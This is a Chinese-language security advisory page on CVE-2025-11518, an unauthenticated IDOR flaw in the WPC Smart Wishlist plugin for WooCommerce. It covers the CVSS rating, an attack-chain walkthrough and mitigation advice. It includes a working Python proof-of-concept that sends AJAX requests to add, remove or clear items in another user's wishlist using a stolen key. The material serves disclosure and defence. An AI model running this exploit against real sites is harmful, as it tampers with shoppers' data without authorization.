IPBUF安全漏洞报告
English
CVE-2025-11518 CVSS 5.3 中危

CVE-2025-11518:WPC Smart Wishlist插件IDOR漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11518
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WPC Smart Wishlist for WooCommerce(WordPress插件)

相关标签

IDOR不安全直接对象引用WordPressWooCommerceWPC Smart WishlistAJAX未授权访问中危漏洞插件漏洞电商安全

漏洞概述

CVE-2025-11518是WordPress的WPC Smart Wishlist for WooCommerce插件中存在的一个不安全直接对象引用(IDOR)漏洞。该插件允许WooCommerce用户创建和管理商品心愿单(Wishlist),并支持心愿单共享功能。漏洞存在于所有5.0.3及以下版本中,涉及多个心愿单相关的AJAX函数。由于插件在处理用户控制的密钥(key)时缺少充分的验证,攻击者可以利用该漏洞对其他用户的心愿单进行未授权操作。

该漏洞的CVSS 3.1评分为5.3,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需认证(PR:N),无需用户交互(UI:N)。在影响方面,该漏洞对机密性影响为低(C:L),对完整性影响为低(I:L),对可用性无影响(A:N)。这意味着漏洞主要影响数据的完整性和机密性,可能导致用户心愿单数据被篡改或泄露。

该漏洞由WordPress安全公司Wordfence的安全研究员发现并报告,披露日期为2025年10月11日。由于该漏洞无需认证即可利用,且涉及共享心愿单功能的密钥,因此对使用该插件的电商网站构成了潜在的安全威胁。

技术细节

该漏洞的核心问题在于WPC Smart Wishlist插件的AJAX端点在处理心愿单操作时,未对用户控制的标识密钥进行充分的授权验证。具体而言,当用户共享心愿单时,系统会生成一个用于访问该心愿单的密钥(key),而该密钥在后续的AJAX请求中被用作身份验证标识。

漏洞利用的技术原理如下:插件提供了多个AJAX函数用于心愿单操作(如添加商品、删除商品、清空心愿单等),这些函数接受用户提供的wishlist key作为参数。在正常流程中,只有拥有合法wishlist key的用户才能对相应的心愿单进行操作。然而,由于缺少对key所有权的验证,攻击者只要获取到任意有效的wishlist key(无论是通过共享链接泄露、猜测还是其他途径),就可以通过构造AJAX请求来操纵该心愿单,包括向其中添加任意商品或清空整个心愿单。

攻击者无需任何认证即可利用此漏洞,只需向插件的AJAX端点发送包含目标wishlist key的恶意请求即可。攻击成功后,攻击者可以修改其他用户的心愿单内容,影响用户的购物体验,甚至可能被用于社会工程学攻击(例如向受害者心愿单中添加恶意商品链接)。

攻击链分析

STEP 1
步骤1:获取目标心愿单密钥
攻击者通过共享心愿单链接泄露、社交工程或其他途径获取目标用户的wishlist key。该密钥是用于标识和访问特定心愿单的字符串。
STEP 2
步骤2:构造恶意AJAX请求
攻击者构造针对WordPress admin-ajax.php的POST请求,在请求参数中包含目标wishlist key以及恶意操作指令(如添加商品或清空心愿单)。
STEP 3
步骤3:发送未授权请求
由于插件缺少对wishlist key所有权的验证,攻击者无需任何认证即可向AJAX端点发送请求,服务器将执行该操作。
STEP 4
步骤4:执行未授权操作
服务器处理请求并对目标用户的心愿单执行未授权操作,如向其中添加任意商品、删除特定商品或清空整个心愿单。
STEP 5
步骤5:影响目标用户
目标用户的心愿单数据被篡改,可能导致用户困惑、购物体验受影响,甚至被用于进一步的社会工程学攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11518 PoC - WPC Smart Wishlist IDOR Exploit # Exploits missing authorization validation on wishlist key in AJAX endpoints import requests TARGET_URL = "https://target-wordpress-site.com" # The wishlist key can be obtained from shared wishlist URLs or other sources WISHLIST_KEY = "stunning-strong-key-here" # Target user's wishlist key # WordPress AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Add an item to victim's wishlist via IDOR def add_item_to_wishlist(product_id): """ Exploit IDOR to add a product to another user's wishlist without authentication. """ payload = { "action": "wpcsw_add_to_wishlist", "product_id": str(product_id), "wishlist_key": WISHLIST_KEY # User-controlled key without ownership validation } response = requests.post(ajax_url, data=payload) print(f"[*] Add item response: {response.status_code}") print(f"[*] Response body: {response.text}") return response # Step 2: Empty victim's wishlist via IDOR def empty_wishlist(): """ Exploit IDOR to empty another user's wishlist without authentication. """ payload = { "action": "wpcsw_remove_all_from_wishlist", "wishlist_key": WISHLIST_KEY # User-controlled key without ownership validation } response = requests.post(ajax_url, data=payload) print(f"[*] Empty wishlist response: {response.status_code}") print(f"[*] Response body: {response.text}") return response # Step 3: Remove specific item from victim's wishlist def remove_item_from_wishlist(product_id): """ Exploit IDOR to remove a specific product from another user's wishlist. """ payload = { "action": "wpcsw_remove_from_wishlist", "product_id": str(product_id), "wishlist_key": WISHLIST_KEY } response = requests.post(ajax_url, data=payload) print(f"[*] Remove item response: {response.status_code}") print(f"[*] Response body: {response.text}") return response if __name__ == "__main__": print("[*] CVE-2025-11518 - WPC Smart Wishlist IDOR Exploit") print(f"[*] Target: {TARGET_URL}") print(f"[*] Wishlist Key: {WISHLIST_KEY}") print("-" * 50) # Example: Add product ID 123 to victim's wishlist add_item_to_wishlist(123) # Example: Empty victim's entire wishlist # empty_wishlist() # Example: Remove product ID 456 from victim's wishlist # remove_item_from_wishlist(456)

影响范围

WPC Smart Wishlist for WooCommerce <= 5.0.3

防御指南

临时缓解措施
在官方补丁发布之前,建议临时禁用WPC Smart Wishlist插件的心愿单共享功能,或通过WAF规则限制对admin-ajax.php中相关AJAX动作(如wpcsw_add_to_wishlist、wpcsw_remove_all_from_wishlist等)的未授权访问。同时,应审查网站日志,查找是否存在异常的wishlist操作请求,并监控用户心愿单是否有被未授权修改的情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表